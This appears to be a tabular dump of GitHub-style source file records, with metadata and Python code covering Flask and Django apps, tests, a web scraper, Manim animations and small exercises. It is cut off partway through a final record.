blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 69 | license_type stringclasses 2
values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 63 | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.91k 686M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 213
values | src_encoding stringclasses 30
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 2 10.3M | extension stringclasses 246
values | content stringlengths 2 10.3M | authors listlengths 1 1 | author_id stringlengths 0 212 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
3833958d6d333505eb722912af50499ce6ee1de7 | 5bddb311ca1f71584446c463b7b0fa41ba4e6ebc | /app/order/__init__.py | 8602730845fab98b9e91f761309799193248691e | [] | no_license | a415432669/flask_web_mobile | 229ccf8deaf0496d4af2506b68987db9b3a4f285 | bf7efcd6718605d6fbe25643eb635f188e0e2faf | refs/heads/master | 2020-03-18T08:30:55.153454 | 2018-04-07T01:10:35 | 2018-04-07T01:10:35 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 206 | py | """订单模块"""
'''
@Time : 2018/4/6 下午12:23
@Author : scrappy_zhang
@File : __init__.py.py
'''
from flask import Blueprint
order = Blueprint('order', __name__)
from app.order import orders | [
"a7478317@163.com"
] | a7478317@163.com |
d6f1670cbdfa6bfa3c8e5bf382812c7cac608b87 | dad33400fb9b8d09a0301addd6c964830881d0c0 | /tests/base_tests/test_ws.py | 4b949afd962204ad62997e5c8df8ae4e733b491c | [
"Zlib"
] | permissive | fy0/slim | e63ac112b9a3600e5221da3161fba4a2675c83e0 | cfdb16ea2365b229b6d0aceb6cb83f45cdb78094 | refs/heads/master | 2021-07-06T06:20:46.329917 | 2020-09-17T06:32:20 | 2020-09-17T06:32:20 | 97,494,307 | 50 | 19 | Zlib | 2020-10-27T02:39:10 | 2017-07-17T15:54:41 | Python | UTF-8 | Python | false | false | 3,400 | py | import json
from typing import Dict
import pytest
from slim import Application
from slim.base.ws import WebSocket
from slim.exception import InvalidRouteUrl
from slim.tools.test import make_mocked_ws_request
from slim.utils import async_call
pytestmark = [pytest.mark.asyncio]
app = Application(cookies_secret=b'1234... | [
"fy0@qq.com"
] | fy0@qq.com |
68d8a31782c2ea1554e0f50b8e59970aa650f14f | 65b5b1a96b680f975017c25fe7e898ef7818c2dd | /scrape.py | 121860396f8e93526147d43733a8d3bb5b133218 | [] | no_license | kchatpar/Spark-ML-Classifier | 2f6e680befd02c8adaa5a23355786b945d396363 | 24366dab209f705be8ea1a7bba86e409ab874f09 | refs/heads/master | 2020-03-15T03:33:08.690201 | 2018-12-06T21:11:19 | 2018-12-06T21:11:19 | 131,944,867 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,940 | py | #This script was designed by Krishna Chatpar
#This script uses the keywords Obama, Bonds, Amazon, and Warriors
#to gather articles in the respective categories of: Politics, Finance, Business, and Sportsself.
#Each article is written to a text file in it's respective folder
#
from bs4 import BeautifulSoup
#impo... | [
"kchatpar@buffalo.edu"
] | kchatpar@buffalo.edu |
d83291ba08687c050825bbfce9c669dc8f086448 | 3c03ecb8e066f2d4eac73a469a75e5906734c66c | /_2019_2020/Classworks/_11_16_11_2019/_4.py | b7f6f6b64474e765e73e91c52ec9d5e8cd383fc6 | [] | no_license | waldisjr/JuniorIT | af1648095ec36535cc52770b114539444db4cd0b | 6a67e713708622ae13db6d17b48e43e3d10611f2 | refs/heads/master | 2023-03-26T06:29:06.423163 | 2021-03-27T06:27:34 | 2021-03-27T06:27:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 38 | py | for i in range(3,123,3):
print(i) | [
"waldis_jr@outlook.com"
] | waldis_jr@outlook.com |
2803441b4522bcc0ee4d634e834b3e8509fef88a | f422be83dbee1a799b06d8b49003364290a77c4c | /examples/sda_train.py | 441ae790de14e50dae2f24571fb05fc31fe84b64 | [
"MIT"
] | permissive | shuxjweb/MMT-plus | 2235302b031345119b535b8087539e94238c9074 | 9b1934afa6ab34b1bb82af54547448914fc3ca7d | refs/heads/master | 2022-12-23T05:11:43.145864 | 2020-09-30T04:42:28 | 2020-09-30T04:42:28 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,864 | py | from __future__ import print_function, absolute_import
import argparse
import os.path as osp
import random
import numpy as np
import sys
import time
import shutil
import collections
import torch
from torch import nn
from torch.backends import cudnn
from torch.utils.data import DataLoader
from visda import datasets
fr... | [
"geyixiao831@gmail.com"
] | geyixiao831@gmail.com |
3f42edc91bf39828dbde3f85ff6ae189e63ace53 | 51d1c121a664ddb73c0c149aaf14c8f806a43a67 | /apps/operation/models.py | aa4aedcb113ac8d0272e2768ff04b59bb666ead9 | [] | no_license | hui-yu1/xwzjOnline | 9f60e93bf11a6b70aee5756a0ce0260199d292a7 | aa4a9bea84f3153fc4d63e746e29f0112143dceb | refs/heads/master | 2022-08-24T10:07:21.823558 | 2020-05-22T11:08:11 | 2020-05-22T11:08:11 | 265,725,940 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,301 | py | from datetime import datetime
from django.db import models
from course.models import Course
from users.models import UserProfile
class UserAsk(models.Model):
name = models.CharField('姓名',max_length=20)
mobile = models.CharField('手机',max_length=11)
course_name = models.CharField('课程名',max_length=50)
... | [
"3478474830@qq.com"
] | 3478474830@qq.com |
1c4a583cefed80075b2f85fe67e37895cd7206c0 | 392569362c0198d491f40d8831be55da10bcd983 | /agregator/toulouse_agregator.py | 2be81eec0ff9d9da081949361f5f6d4cad04ac97 | [] | no_license | JaladeSamuel/se_dashboard | 4d1e81f5bd613f1d52ea7210b404490450e565c2 | b45b989712f09c74db7e740aa21287f73535df4e | refs/heads/main | 2023-03-03T18:56:19.740146 | 2021-02-14T00:27:07 | 2021-02-14T00:27:07 | 309,417,659 | 2 | 0 | null | 2021-02-13T23:00:31 | 2020-11-02T15:47:00 | null | UTF-8 | Python | false | false | 185 | py | import agregator
if __name__=="__main__":
print("Starting toulouse_agregator")
agregateur1 = agregator.Agregator_moyenne("toulouse_agregator", "toulouse", 43.6047, 1.4435, 2)
| [
"sam34440@hotmail.fr"
] | sam34440@hotmail.fr |
5c40fe7456479483b345430a9c0bac0c99277472 | d1d93e481679a84b9014280bad2d0b8b6becdb2a | /memokeep/urls.py | 3da020edfa30000b3a29bea2b5f54d010c7b8ed9 | [
"MIT"
] | permissive | hmarsolla/memokeep-server | 4c0039494e205b70963acbd727c32b4d0369058e | 101bc5fb4ee217503cd125cf7c7a769a15c81e76 | refs/heads/master | 2020-04-03T05:12:44.851321 | 2018-10-28T05:28:03 | 2018-10-28T05:28:03 | 155,038,451 | 1 | 0 | null | 2018-10-28T05:28:04 | 2018-10-28T05:26:22 | Python | UTF-8 | Python | false | false | 1,187 | py | """memokeep URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-base... | [
"hmarsolla@hotmail.com"
] | hmarsolla@hotmail.com |
9a27d1852a9f71e37950acae46e354fe11668f20 | 010b9b003f71bae2feed4c050ee97a7a806766c5 | /tests/test_cd.py | 045eceff17a2ce6816ea3f35d5b2e20a4a2498ea | [
"MIT"
] | permissive | SilanHe/hierarchical-dnn-interpretations | 19c4bb524e80288e61b55ae7bda8a3402f4def51 | d6f96d0ab6fec48ee53ab930b2660e80525993b9 | refs/heads/master | 2022-04-20T15:38:48.677928 | 2020-01-20T18:27:50 | 2020-01-20T18:27:50 | 255,742,196 | 0 | 0 | MIT | 2020-04-14T22:29:59 | 2020-04-14T22:29:58 | null | UTF-8 | Python | false | false | 4,957 | py | import numpy as np
import torch
import sys
import acd
import pickle as pkl
import warnings
warnings.filterwarnings("ignore")
def test_sst(device='cpu'):
# load the model and data
sys.path.append('../dsets/sst')
from dsets.sst.model import LSTMSentiment
sst_pkl = pkl.load(open('../dsets/sst/sst_vo... | [
"chandan_singh@berkeley.edu"
] | chandan_singh@berkeley.edu |
ab8552e93d0f54492fb7640136c1d3cda1b0c205 | 3ac96cdcca7e948f67739c66a56558bd88cb9724 | /1st_prjct_SlickDeals/webscrape.py | ff830646b00fef0bc983e02146bdf0b2d68379fa | [] | no_license | suatakbulut/webscrape | 309fed38efb7734c3da681f28fbf3cf024f1dd04 | 1a6658dda99366d811e664112e39ffa06d7b5d42 | refs/heads/master | 2020-12-13T13:24:35.295454 | 2020-01-17T06:54:10 | 2020-01-17T06:54:10 | 234,431,705 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,168 | py | """
In this project, I will scrape data Frontpage Slickdeals from slickdeals.net.
For each deal, I will collect the information about the following:
Vendor Name
Item Name
List Price (If available)
Discounted price
"""
from bs4 import BeautifulSoup as soup
import requests as Req
# The url of the websit... | [
"sqa5456@psu.edu"
] | sqa5456@psu.edu |
2577704640f0cc5286b607bd56b60a6de915bd47 | 40d740712137b8004fc26f04cecdc852d59d88fd | /Test/Python编码/struct.py | 267b686f1d9e5bfe8159cb45498820cabe7172e9 | [] | no_license | xiaohua0877/python_prog | d164c8e03fbf6f5cd3cf52da3764bbc3ac2be871 | 38d8999f8e5cc3137a904c1aa1605cb17781dba6 | refs/heads/master | 2020-06-19T19:22:34.050242 | 2019-08-18T14:32:18 | 2019-08-18T14:32:18 | 196,841,172 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 724 | py | __all__ = [
# Functions
'calcsize', 'pack', 'pack_into', 'unpack', 'unpack_from',
'iter_unpack',
# Classes
'Struct',
# Exceptions
'error'
]
from _struct import *
from _struct import _clearcache
from _struct import __doc__
#from struct import *
#
# b = pack('hhl', 1, 2, 3)
# print(b)
# b =... | [
"xiaohua0877@sina.com"
] | xiaohua0877@sina.com |
bb48173d9cf8d2bfe7985c5298c639658b8b1863 | d67261e0f768ffc729fa0002a693169549d94517 | /projects/act/tutorial_manim/positions.py | 623c2c5e0aa0196f2ea9ef71dd2bb2fa24931e51 | [] | no_license | gmile/Manim-TB | 28da585df4e1bf68c48db66f2b9efd6e8cfe0290 | 89c1b69b4517499c52f808b764e26ae40ad690e5 | refs/heads/master | 2023-03-02T16:49:10.162667 | 2021-02-09T05:03:43 | 2021-02-09T05:03:43 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 17,110 | py | from big_ol_pile_of_manim_imports import *
class OrientedObjectProgramming(Scene):
def construct(self):
titulo=Texto("Oriented-Object Programming").to_edge(UP)
ul_titulo=underline(titulo)
objeto = Circle(color=RED)
t_objeto=Texto("\\it Object")
objeto.move_to(LEFT*objeto.get_width())
t_objeto.next_to(obj... | [
"davz95@hotmail.com"
] | davz95@hotmail.com |
45269fe78e3d719ac99c24d5bc4cd93dfa49ca21 | 51ede9626838cc3131e41c1a4681ff8d8af8e45f | /session4/Turtle/triangle.py | d2cdcf458ffe31173e8ccd1a764008eddfde4531 | [] | no_license | longngo2002/C4TB | 2d0431949df714d5df8a22ab6b5716dd68c71fa8 | 191c6ad4fb2051d15d8330ef6d021f03c12ce41c | refs/heads/master | 2020-06-16T10:06:14.915265 | 2019-08-24T07:44:36 | 2019-08-24T07:44:36 | 195,533,455 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 153 | py | from turtle import *
color("green")
fillcolor("yellow")
begin_fill()
forward(200)
left(120)
forward(200)
left(120)
forward(200)
end_fill()
mainloop() | [
"vipcom247@gmail.com"
] | vipcom247@gmail.com |
7cc6891cf33ed38c1f157f9bdd0c84d53b7b6401 | dc9b0ea6714c29651cfd8b494862f31f07d85f28 | /project9/venv/Scripts/pip3-script.py | b6b74138b57b60b38ead8ed47e96d33a675b322b | [] | no_license | Papashanskiy/PythonProjects | c228269f0aef1677758cb6e2f1acdfa522da0a02 | cf999867befa7d8213b2b6675b723f2b9f392fd7 | refs/heads/master | 2022-12-12T15:23:56.234339 | 2019-02-10T09:14:56 | 2019-02-10T09:14:56 | 148,336,536 | 0 | 0 | null | 2022-12-08T03:01:04 | 2018-09-11T15:10:44 | Python | WINDOWS-1251 | Python | false | false | 436 | py | #!C:\Users\Игорь\Desktop\Python\PythonProjects\project9\venv\Scripts\python.exe -x
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==10.0.1','console_scripts','pip3'
__requires__ = 'pip==10.0.1'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)... | [
"apashanskiy@gmail.com"
] | apashanskiy@gmail.com |
e29d1c1cb5e95478cad566d18766a86d828dc9db | 71defe8f65d87d9d5ca8af3176f58ef5052beeec | /Dynamic-Class-Calling-04-01-20/SO_dynamic_class_call.py | 6416944886fd44ba0e87e87515f33daf5fa356a2 | [] | no_license | vw-liane/SO_CR_Questions | 2dbea04c382a0626d3957c36e9596c2797286545 | 226d5dff3a822ad2e79672083bfe2c15c6a81afe | refs/heads/master | 2021-05-20T13:38:51.335877 | 2020-04-07T20:51:39 | 2020-04-07T20:51:39 | 252,318,802 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,322 | py | from pathlib import Path
import pandas as pd
import inspect
## SUPER CLASSES
################
class Fruit(object):
def __init__(self):
self.name = "fruit"
def __str__(self):
return f"{self.name} object"
class Vegetable(object):
def __init__(self):
self.name = "veget... | [
"noreply@github.com"
] | vw-liane.noreply@github.com |
c23b662a550c30d7a3cb726d20f1668874730de4 | c770679730937a2dc3e9ec62d721c2782b44e6d0 | /lesson/beej.py | 98e870a4b13ee7fd0cd21ff1d9e9a2d9b4e5bf19 | [] | no_license | Lambda-CS/Computer-Architecture | 6156d9fef458183de5918c54f910e47e2b80d4e7 | 947b28fd319c074313b0b0a0c5df26bbb91c9f32 | refs/heads/master | 2022-11-20T17:35:21.651380 | 2020-07-26T02:10:38 | 2020-07-26T02:10:38 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,285 | py | """
CPU
Executing instructions
Gets them out of RAM
Registers (like variables)
Fixed names R0-R7
Fixed number of them -- 8 of them
Fixed size -- 8 bits
Memory (RAM)
A big array of bytes
Each memory slot has an index, and a value stored at that index
That index into memo... | [
"antonyk@users.noreply.github.com"
] | antonyk@users.noreply.github.com |
29d796e42ac5d264ce6c00a8cbc9464e9d67014d | 3e46efd609c829ec3c45fab7b11daa2ddcae45f2 | /thathweb/production.py | f263cdf69a7ada42e25f1c4218f62908d536d165 | [] | no_license | travishathaway/thathweb | 2b0f1c2f4941082d66b7633ae0686382335471d9 | 9f0ef221cdeef3a6b0240488fe10bc6d11371280 | refs/heads/master | 2020-04-18T05:27:03.172744 | 2014-08-03T19:03:27 | 2014-08-03T19:03:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 71 | py |
from thathweb.settings import *
DEBUG = False
TEMPLATE_DEBUG = False
| [
"travis.j.hathaway@gmail.com"
] | travis.j.hathaway@gmail.com |
5f0f59332ec2a54a6ae41d1a6ec0b45e70055095 | 87b9cd8a7c94f4a52e2fa608aa4fa7904e8d5fbb | /oyster/journey_analyser.py | e6cc302fe876fbc947d21a4b4ffdd9559923bc73 | [] | no_license | chbatey/oystergrep | 87b9b5c76f6a3a96b71e31a7f19f71f0419e5ba6 | 886e1aec3d786bd51f485816aa0e07241d9fcccf | refs/heads/master | 2016-09-11T03:52:00.434354 | 2013-06-23T20:00:21 | 2013-06-23T20:00:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,036 | py | import logging
import calendar
class JourneyAnalyser:
def analyse_journeys(self, journeys):
total_cost = 0
journeys_by_month = {}
for journey in journeys:
total_cost += journey.cost
month = journey.date.month
logging.debug("Month %s" % month)
... | [
"christopher.batey@gmail.com"
] | christopher.batey@gmail.com |
f035a5e710ff8c6c6c19a8887f9b5988f0cf5cc1 | c642371b301168af9130c33564566513681af824 | /leetcode/leetcode108.py | 35a9037c7ea3d3ecd314a4b6e4c3e64954e9cb8b | [] | no_license | fucct/Algorithm-python | 974aed1b4538397ff40f1da243596c0a05eacaa5 | fce6ae44df3a4985011850fe85d99d28f7f7b53f | refs/heads/master | 2022-12-12T15:16:46.982614 | 2020-09-07T13:19:09 | 2020-09-07T13:19:09 | 291,237,777 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 383 | py | from typing import List
from leetcode.leetcode100 import TreeNode
class Solution:
def sortedArrayToBST(self, nums: List[int]) -> TreeNode:
if not nums:
return
mid = len(nums) // 2
root = TreeNode(nums[mid])
root.left = self.sortedArrayToBST(nums[0:mid])
root.r... | [
"dqrd123@gmail.com"
] | dqrd123@gmail.com |
e583114fef71a6d19de920b44c44188a46dc0fa3 | 396787df1b472ddfab7d934c149b150352342f03 | /python_server/app/venv/lib/python3.6/abc.py | f8e195b4163e5b20c50a27852d19d733e39f6d31 | [] | no_license | Deanwinger/python_project | a47b50a9dfc88853a5557da090b0a2ac3f3ce191 | 8c0c2a8bcd51825e6902e4d03dabbaf6f303ba83 | refs/heads/master | 2022-07-10T16:41:56.853165 | 2019-07-21T13:08:48 | 2019-07-21T13:08:48 | 107,653,001 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 57 | py | /Users/yucheng/.pyenv/versions/3.6.5/lib/python3.6/abc.py | [
"a541203951@163.com"
] | a541203951@163.com |
b99ea9b50ddacb576b647352eaa380cb3fe01ead | 52a4d282f6ecaf3e68d798798099d2286a9daa4f | /old/numbo3b.py | e2056fe597131fa362550170c99661273978b41b | [
"MIT"
] | permissive | bkovitz/FARGish | f0d1c05f5caf9901f520c8665d35780502b67dcc | 3dbf99d44a6e43ae4d9bba32272e0d618ee4aa21 | refs/heads/master | 2023-07-10T15:20:57.479172 | 2023-06-25T19:06:33 | 2023-06-25T19:06:33 | 124,162,924 | 5 | 1 | null | null | null | null | UTF-8 | Python | false | false | 8,846 | py | # numbo3b.py -- Manually "compiled" FARGish for brute-force numble solver
from operator import add, mul
from functools import reduce
from PortGraph import Node, Tag
from bases import ActiveNode
from Action import Action, FuncAction, Build, ActionSeq, SelfDestruct, Raise, \
Fail
from NodeSpec import NodeOfClass, N... | [
"bkovitz@indiana.edu"
] | bkovitz@indiana.edu |
61949f125838218983b65ad45b039efb2dac8f37 | 23ad12ba79d614e08a803d123ba9a7bf4fd08fef | /benchengine/api/route.py | b52fc40650e1def7151c2cae4572fdad45f3bf34 | [
"MIT"
] | permissive | scailfin/benchmark-engine | ab40026dd5b629ae8d855867abf4725ec9f69213 | 7ee5a841c1de873e8cafe2f10da4a23652395f29 | refs/heads/master | 2020-06-04T08:49:51.709979 | 2019-12-04T19:19:15 | 2019-12-04T19:19:15 | 191,950,765 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,489 | py | # This file is part of the Reproducible Open Benchmarks for Data Analysis
# Platform (ROB).
#
# Copyright (C) 2019 NYU.
#
# ROB is free software; you can redistribute it and/or modify it under the
# terms of the MIT License; see LICENSE file for more details.
"""Factory for Urls to access and manipulate API resources.... | [
"heiko.muller@gmail.com"
] | heiko.muller@gmail.com |
bcb16c4b1d663c8ad8aa71fec1db6058abc08a41 | cbce900c283ff249bca8a3d370822f1578f3e55e | /mc-cnn-rebuild.py | 2e7fc63f1712946a65a498a37cdaf71c46d788eb | [] | no_license | b03901165Shih/2018-CV-Final-Project | c53485794c53f0d40a42f9aa314ee9bad01638dc | c6a267f918cf76e8bf749bebb7071f817a307389 | refs/heads/master | 2020-06-22T17:22:27.241326 | 2019-07-19T16:26:18 | 2019-07-19T16:26:18 | 197,754,278 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,731 | py | import numpy as np
import time
import os
#os.environ["CUDA_VISIBLE_DEVICES"]="0"
import h5py
import glob
import matplotlib.pyplot as plt
#np.random.seed(2019)
from keras.models import Sequential, Model
from keras.layers import Dense, Dropout, Activation, Flatten, Input, Concatenate
from keras.layers import ... | [
"b03901165@ntu.edu.tw"
] | b03901165@ntu.edu.tw |
3cc34c234ffb6b97cde45f5ddc3bb4a63f785718 | 48ab96560529c07069c66b47952b83461d0ef710 | /processing.py | c0e465f801a7eee06d9937d672cf00cbffa38e99 | [] | no_license | mctrap/XMLParser_AdRoll | 4f3960a3692c2f87f2b1ff1388e5d11089a95319 | 8a0bd1da6587e559271a552db0e90868596ad1bb | refs/heads/master | 2020-03-29T04:11:11.799220 | 2018-09-19T23:49:28 | 2018-09-19T23:49:28 | 149,519,782 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,072 | py | import xml.etree.ElementTree as ET
import os
def get_listing(filename_contents):
listing = ""
# remaining = ""
end_marker = "</listing>"
while True:
line = filename_contents.readline()
if end_marker in line:
listing += line[line.index(end_marker): len(end_marker)]
# remaining = line.replace(end_marker, "... | [
"mtrapani@apartmentlist.com"
] | mtrapani@apartmentlist.com |
21a8a55aa43fdbf262aa6277530f0e10cb1885b4 | e3365bc8fa7da2753c248c2b8a5c5e16aef84d9f | /indices/nnirrig.py | e0b5905774a6c4fac90f7e3c2509f538d136173e | [] | no_license | psdh/WhatsintheVector | e8aabacc054a88b4cb25303548980af9a10c12a8 | a24168d068d9c69dc7a0fd13f606c080ae82e2a6 | refs/heads/master | 2021-01-25T10:34:22.651619 | 2015-09-23T11:54:06 | 2015-09-23T11:54:06 | 42,749,205 | 2 | 3 | null | 2015-09-23T11:54:07 | 2015-09-18T22:06:38 | Python | UTF-8 | Python | false | false | 517 | py | ii = [('CookGHP3.py', 1), ('LyelCPG2.py', 3), ('SadlMLP.py', 1), ('AubePRP2.py', 1), ('LeakWTI2.py', 13), ('LeakWTI3.py', 9), ('PettTHE.py', 1), ('WilkJMC2.py', 19), ('RoscTTI3.py', 2), ('KiddJAE.py', 1), ('CoolWHM.py', 1), ('LandWPA.py', 1), ('LyelCPG.py', 1), ('GilmCRS.py', 3), ('DibdTRL2.py', 1), ('LeakWTI4.py', 11)... | [
"varunwachaspati@gmail.com"
] | varunwachaspati@gmail.com |
b53ae90ac49a9f4d4a2d5858314cbe16235c915b | add102645cbe98956b51647608c9a9c25930f0ae | /punti_interesse/migrations/0008_auto_20190208_1148.py | 3c6cbc14a36e918895a558fa587bc4a5b35b5c44 | [] | no_license | GianpaoloBranca/CAI-Punti-Interesse | 2f8ef19975fa64108f1be98a1169c6eedc89499f | 6543a83dfa260fae0a68e496493938c758080674 | refs/heads/master | 2020-04-15T17:42:21.144842 | 2019-05-27T10:13:09 | 2019-05-27T10:13:09 | 164,883,356 | 1 | 0 | null | 2019-03-07T15:37:42 | 2019-01-09T14:59:53 | Python | UTF-8 | Python | false | false | 1,293 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.18 on 2019-02-08 10:48
from __future__ import unicode_literals
import django.core.validators
from django.db import migrations, models
import punti_interesse.validators
class Migration(migrations.Migration):
dependencies = [
('punti_interesse', '0007_aut... | [
"gianpaolo.branca@protonmail.com"
] | gianpaolo.branca@protonmail.com |
0e1aee4f477bca387c50733cad7219c7a0d59c31 | 035663d678908d7cc5b8390695c6713be6d57c35 | /finance/forms.py | 531c6194fa1bbe9b9c559af6bff3cbb5965add9e | [] | no_license | DyadyaSasha/tehnoatom_homework5 | b1e66f5099465acc72cebc9d05c17d1144e2fd7b | efe67566eeacc9e63a963bb06994181d47e45294 | refs/heads/master | 2021-01-12T10:01:36.865855 | 2016-12-13T08:05:33 | 2016-12-13T08:05:33 | 76,336,661 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,385 | py | from django import forms
from datetime import date
import re
from .models import Acount, Charge
class AcountForm(forms.ModelForm):
class Meta:
model = Acount
fields = ('name', 'number')
def clean(self):
#CREDIT_CARD_VALID = r'^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6(?:011|5[0... | [
"serebryakovalexx@yandex.ru"
] | serebryakovalexx@yandex.ru |
4c7c193f8937cefe3b4f6663c2c920906a54d22f | 2eba6fde704171c6fa2989eb3f32eaeb6fa190c0 | /calculator.py | a3bed1eaa223ae4ada556252baec2ad618b541db | [] | no_license | lauren-moore/calculator-1 | 54638ce603546595986219a8ce600ba671021aeb | 5fba5d8b8ddeaaba9e3d66d447d28b45619b4037 | refs/heads/main | 2023-08-30T16:50:04.177911 | 2021-10-20T03:10:05 | 2021-10-20T03:10:05 | 417,974,689 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,862 | py | """CLI application for a prefix-notation calculator."""
from arithmetic import *
while True:
user_input = input("Enter your equation > ")
tokens = user_input.split(" ")
if "q" in tokens:
print("You will exit.")
break
elif len(tokens) < 2:
print("Not enough inputs.")
... | [
"laurencaroleen@gmail.com"
] | laurencaroleen@gmail.com |
3306e7504c4890b31bcf7842dfe2f7bfc38ef8ca | 163bbb4e0920dedd5941e3edfb2d8706ba75627d | /Code/CodeRecords/2085/60587/313739.py | e7738c8f2800230aedac863942c2147cfac12720 | [] | no_license | AdamZhouSE/pythonHomework | a25c120b03a158d60aaa9fdc5fb203b1bb377a19 | ffc5606817a666aa6241cfab27364326f5c066ff | refs/heads/master | 2022-11-24T08:05:22.122011 | 2020-07-28T16:21:24 | 2020-07-28T16:21:24 | 259,576,640 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,774 | py | class Edge:
def __init__(self, u, v, w):
self.u = u
self.v = v
self.w = w
def __str__(self):
return str(self.u) + str(self.v) + str(self.w)
def f(edges, n, m, root):
res = 0
while True:
pre = [-1] * n
visited = [-1] * n
inderee = [INF] * n
... | [
"1069583789@qq.com"
] | 1069583789@qq.com |
564aecf5ebe2b8468bd519fe9c9b4ded11d2c950 | ca609a94fd8ab33cc6606b7b93f3b3ef201813fb | /2017-feb/16.regression algorithms/decision-trees2.py | a3a5fc45765aca71350c73642948a7e5c308cc9a | [] | no_license | rajesh2win/datascience | fbc87def2a031f83ffceb4b8d7bbc31e8b2397b2 | 27aca9a6c6dcae3800fabdca4e3d76bd47d933e6 | refs/heads/master | 2021-01-20T21:06:12.488996 | 2017-08-01T04:39:07 | 2017-08-01T04:39:07 | 101,746,310 | 1 | 0 | null | 2017-08-29T09:53:49 | 2017-08-29T09:53:49 | null | UTF-8 | Python | false | false | 1,421 | py | import os
import pandas as pd
import pydot
from sklearn import tree
from sklearn import metrics
from sklearn import model_selection
import io
import math
#returns current working directory
os.getcwd()
#changes working directory
os.chdir("D:\\revenue-prediction")
restaurant_train = pd.read_csv("train.csv")
restaurant_t... | [
"info@algorithmica.co.in"
] | info@algorithmica.co.in |
774b5d122b0934195ecea5ea6da154d54920ab87 | 73d61eec8ff9a7408ef1c040f5a6ee229753da6e | /Flask/NationalEducationRadio/NationalEducationRadio/controllers/radio.py | 5bf37430b5688fcceac3aecddaf4186b697233b3 | [
"MIT"
] | permissive | Jessieluu/WIRL_national_education_radio | dfff69fb266252103171af34e24fc6a1ac558045 | edb8b63c25bc7bd5a9a7d074173f02913971f8a7 | refs/heads/master | 2020-03-10T17:12:03.485819 | 2018-07-13T08:44:15 | 2018-07-13T08:44:15 | 129,494,085 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 19,705 | py | # -*- coding: utf-8 -*-
import time
import sys
import math
import random
import json
from io import StringIO
from datetime import datetime, timedelta
from flask import Flask, redirect, url_for, render_template, session, flash, request, jsonify, Response
from flask.ext.login import current_user, login_required, logout_u... | [
"lujessie950410@gmail.com"
] | lujessie950410@gmail.com |
4bf8468109c4dc890a374ce4940ebd3f6e8b9575 | 5e07d7e4d2ee7b470f05c4dfca30b105519e7dfb | /api_app/urls.py | 646821ff26d126477669f1e96ac3c71db4fbe4bc | [] | no_license | waltermaina/dht11_esp8266_django | 921f229ebc76510bbc4c403852d182731841b885 | 888d8d9c82255ee8e6eaecce418f5c9fe4d996fc | refs/heads/master | 2022-08-29T22:14:06.885360 | 2021-05-01T13:56:16 | 2021-05-01T13:56:16 | 235,754,246 | 0 | 0 | null | 2022-08-11T14:57:36 | 2020-01-23T08:36:27 | Python | UTF-8 | Python | false | false | 400 | py | # api_app/urls.py
from django.urls import include, path
from . import views
urlpatterns = [
path('v1/', views.ListData.as_view()),
path('v1/<str:pk>/', views.DataDetail.as_view()),
path('v2/', views.NewListData.as_view()),
path('v2/last/', views.LastRecordData.as_view()),
path('v2/<str:pk>/', view... | [
"waltermaina@yahoo.com"
] | waltermaina@yahoo.com |
4c821cab3daa611fa7e3c9f00eb41fbaa0d93c51 | 5b507113111016534efb347104ef5aa98e594471 | /constants.py | 694decc4e9b29b7ac5341a4fa714b89b0717be63 | [] | no_license | Enlight-UW/enlight-backend | 36ec941c45fde611b18b52f87054de964622db5e | a5b74f61d44a1492df87d7c19cf48ef4a017350b | refs/heads/master | 2021-05-30T04:41:11.369788 | 2015-04-28T01:14:21 | 2015-04-28T01:14:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 65 | py | VERSION = "0.0.1"
DB_FILENAME = "maquina.sqlite"
NUM_VALVES = 24
| [
"alex@dividebyxero.com"
] | alex@dividebyxero.com |
ec33460c3849409bf61d09e4e2d82342a10baa68 | d5292505eb7b8b93eca743eb187a04ea58d6b6a3 | /venv/Lib/site-packages/networkx/utils/random_sequence.py | b8e3531f92047ece6fc5dc565eaeafde9f0c3d6b | [
"Unlicense"
